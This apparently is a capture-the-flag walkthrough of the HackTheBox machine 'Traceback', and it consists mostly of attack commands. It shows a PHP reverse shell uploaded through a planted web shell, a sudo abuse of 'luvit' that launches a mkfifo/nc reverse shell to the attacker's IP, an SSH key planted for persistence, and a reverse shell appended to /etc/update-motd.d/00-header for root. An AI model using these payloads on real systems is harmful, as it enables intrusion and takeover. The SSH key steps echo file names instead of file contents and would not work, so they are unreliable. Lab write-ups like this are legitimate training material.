HackTheBox - Traceback | Walkthrough

HackTheBox - Traceback | Walkthrough

Enumeration

vi /etc/hosts
10.10.10.181  traceback

nmap -A 10.10.10.181 -o traceback/nmap

ssh  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
httpd Apache httpd 2.4.29

Google for the comment, some of the best web shells that you might need

http://traceback/smevk.php
`-> login page
admin/admin

in your attacker machine,

vi rev.php

<?php                                                                                                 
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.86/4444 0>&1'"); 

Upload the file and then set up a netcat listener in your attacker machine:

nc -nvlp 4444

send a request to traceback/rev.php

You should have a reverse shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

cd ~
cat note.txt

sudo -l

You will see where the file is.

User

Now, you can execute a shell command to get a reverse shell back in your machine.

In attacker machine,

nc -nvlp 1234

sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.114 1234 >/tmp/f")'

Now, you should get a reverse shell.

Now, set up a ssh way in to the machine.
In your attacker machine:

(echo "\n\n"; echo ~/.ssh/id_rsa.pub; echo "\n\n") > ~/hackthebox/traceback/www/test.txt
python -m SimpleHTTPServer

As webadmin,

cd ~/.ssh
wget http://10.10.14.114:8000/test.txt
echo test.txt >> authorized_keys
rm test.txt

Root

For privesc,

ps aux | grep root

You should see that, root is copying replacing /etc/update-motd.d/ files every 30 seconds.

ls -al /etc/update-motd.d/

You can see that you have write and execute privileges in this file.
This header gets displayed everytime you ssh into this box.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.114 2345 >/tmp/f" >> /etc/update-motd.d/00-header

Now, in your attacking machine, you will need two windows.
In one, run,
nc -nvlp 2345
This is so that you can catch the reverse shell that gets sent when the 00-header file runs.

In the other tab,
ssh webadmin@10.10.10.181

And boom, you should get a reverse shell as root!

whoami
cat ~/root.txt